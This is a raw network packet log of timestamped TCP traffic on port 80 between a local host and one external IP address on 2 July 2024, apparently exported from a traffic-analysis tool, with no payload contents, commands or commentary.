Jul 2, 2024 15:26:08.487816095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487848043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487853050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487863064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487879992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487884045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487894058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487893105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487910986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487917900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487926960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487934113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487950087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487958908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487970114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487972021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.487983942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.487994909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488003969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488012075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488030910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488039017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488048077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488063097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488074064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488073111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488090038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488095045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488114119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488120079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488121033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488135099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488149881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488156080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488163948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488184929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488187075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488198996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488218069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488228083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488234997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488235950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488251925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488260031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488266945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488275051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488291979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488296032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488303900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488306999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488322020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488326073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488334894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488343000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.488363028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.488370895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.493845940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.493884087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.493896008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.493938923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.493949890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.493948936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.493948936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.493978024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.493982077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.493993044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494009972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494012117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494035006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494046926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494370937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494417906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494425058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494426966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494452000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494457006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494461060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494467974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494486094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494492054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494509935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494518995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494851112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494879961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494894028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494905949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494910955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494923115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494927883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494946003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494952917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494956970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494976997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494977951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.494992971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.494997025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495011091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495027065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495053053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495055914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495066881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495085955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495089054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495098114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495099068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495119095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495121002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495131016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495141029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495146990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495152950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495170116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495177984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495181084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495194912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495206118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495218039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495284081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495295048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495311975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495320082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495326996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495331049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495345116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495347977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495363951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495373964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495376110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495412111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495428085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495439053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495455027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495465994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495481014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495481968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495490074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495498896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495517969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495536089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495645046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495656013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495672941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495682001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495688915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495697021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495699883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495717049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495728016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495731115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495753050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495754957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495776892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495785952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495790005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495803118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495820045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495830059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495851994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495853901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495863914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495893955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495898962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495903969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495910883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495929003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495935917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495944023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495966911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.495978117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.495989084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496005058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496015072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496016026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496036053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496057034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496153116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496164083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496181011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496195078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496196032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496212959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496218920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496232033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496238947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496248007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496258020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496263981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496272087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496283054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.496289015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496303082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.496315002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.576714993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576735020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576765060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576781988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576792955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576809883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576827049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576828003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.576847076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576855898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576874971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576878071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.576878071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.576898098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.576910973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.576925039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576936007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576952934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576973915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.576977968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.576977968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.576987982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577008009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577014923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577019930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577027082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577044010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577054977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577109098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577124119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577142000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577152014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577155113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577166080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577172041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577186108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577195883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577210903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577215910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577229977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577234983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577250957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577265024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577271938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577284098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577302933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577311993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577315092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577337980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577357054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577404022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577414989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577441931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577445030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577475071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577511072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577522039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577542067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577558041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577569962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577579021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577579975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577600956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577608109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577635050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577635050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577661037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577672005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577688932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577698946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577704906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577719927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577727079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577734947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577748060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.577754021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577771902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.577796936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583622932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583682060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583688974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583693027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583717108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583725929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583740950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583751917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583770037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583779097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583786964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583813906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583889008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583903074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583923101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583933115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583935022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583955050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583957911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583971024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.583971977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.583998919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584003925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584013939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584031105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584053993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584065914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584366083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584391117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584403992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584414005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584436893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584436893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584460974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584472895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584496975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584501982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584511042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584533930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584553003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584583998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584594965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584614038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584623098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584628105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584642887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584652901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584656000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584681034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584697008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584697962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584707022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584727049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584734917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584737062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584753990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584754944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584773064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584783077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584794998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584816933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.584855080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.584866047 CEST	80	49730	85.28.47.4	192.168.2.4
